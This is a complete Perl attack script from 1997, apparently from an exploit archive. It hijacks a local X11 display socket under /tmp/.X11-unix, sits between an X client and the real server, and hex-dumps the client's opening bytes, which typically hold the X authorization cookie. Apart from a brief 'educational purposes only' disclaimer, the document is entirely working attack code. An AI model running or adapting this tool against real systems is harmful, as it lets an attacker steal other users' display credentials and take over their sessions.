#!/usr/bin/perl

# Copyright (c) 1997 Pavel Kankovsky

# Permission to use, modify, and redistribute this program under the
# terms of GNU General Public License version 2, as published by the
# Free Software Foundation, is hereby granted. There is ABSOLUTELY
# NO WARRANTY. You use it at your own risk.

# WARNING! This program is provided for educational purposes only.
# Inappropriate use or abuse may result in malfunction or inaccessibility
# of computing systems, disclosure, loss or corruption of data, and other
# damages.


use Socket;

sub dump_snap
{
  my ($txt) = @_;
  my ($pos, $len) = (0, length($txt));
  while ($pos < $len) {
    my ($p, $l1, $l2) = ($pos, '', '');
    foreach $k (0..15) {
      if ($pos < $len) {
        my ($c) = ord(substr($txt, $pos, 1));
        $l1 .= sprintf("%02x ", $c);
        $l2 .= $c >= 32 && $c < 127 ? chr($c) : '.';
      }
      else {
        $l1 .= '   ';
      }
      ++$pos;
    }
    printf("%04x %s%s\n", $p, $l1, $l2);
  }
}

$SIG{CHLD} = 'IGNORE';

$display0 = $ARGV[0];
$display1 = $ARGV[1];

rename("/tmp/.X11-unix/$display0", "/tmp/.X11-unix/$display1");
rename("/tmp/.X11-pipe/$display0", "/tmp/.X11-pipe/$display1");

socket(Server, PF_UNIX, SOCK_STREAM, 0) || die $!;
bind(Server, sockaddr_un("/tmp/.X11-unix/$display0")) || die $!;
listen(Server, SOMAXCONN) || die $!;

$success = 0;

eval {
  local $SIG{INT} = sub { die; };
  accept(Client, Server) || die;
  $success = 1;
};

rename("/tmp/.X11-unix/$display1", "/tmp/.X11-unix/$display0");
rename("/tmp/.X11-pipe/$display1", "/tmp/.X11-pipe/$display0");

if ($success) {
  $pid = fork();
  if ($pid == 0) {
    close(Server);
    socket(Forward, PF_UNIX, SOCK_STREAM, 0) || die $!;
    connect(Forward, sockaddr_un("/tmp/.X11-unix/$display0")) || die $!;
    $fdset = '';
    vec($fdset, fileno(Client), 1) = 1;
    vec($fdset, fileno(Forward), 1) = 1;
    $snapped = '';
    $snaplen = 0x40;
    while (select($rset = $fdset, undef, undef, undef)) {
      if (vec($rset, fileno(Client), 1) != 0) {
        $b = sysread(Client, $buffer, 16);
        if ($b > 0) {
          syswrite(Forward, $buffer, $b);
          if ($snaplen > 0) {
            $snapped .= substr($buffer, 0, $b);
            $snaplen -= $b;
            dump_snap($snapped) if ($snaplen <= 0);
          }
        }
        last if (!$b);
      }
      if (vec($rset, fileno(Forward), 1) != 0) {
        $b = sysread(Forward, $buffer, 16);
        if ($b > 0) {
          syswrite(Client, $buffer, $b);
        }
        last if (!$b);
      }
    }
    close(Forward);
    close(Client);
    exit(0);
  }
  close(Client);
}
#                    www.hack.co.za              [1999]#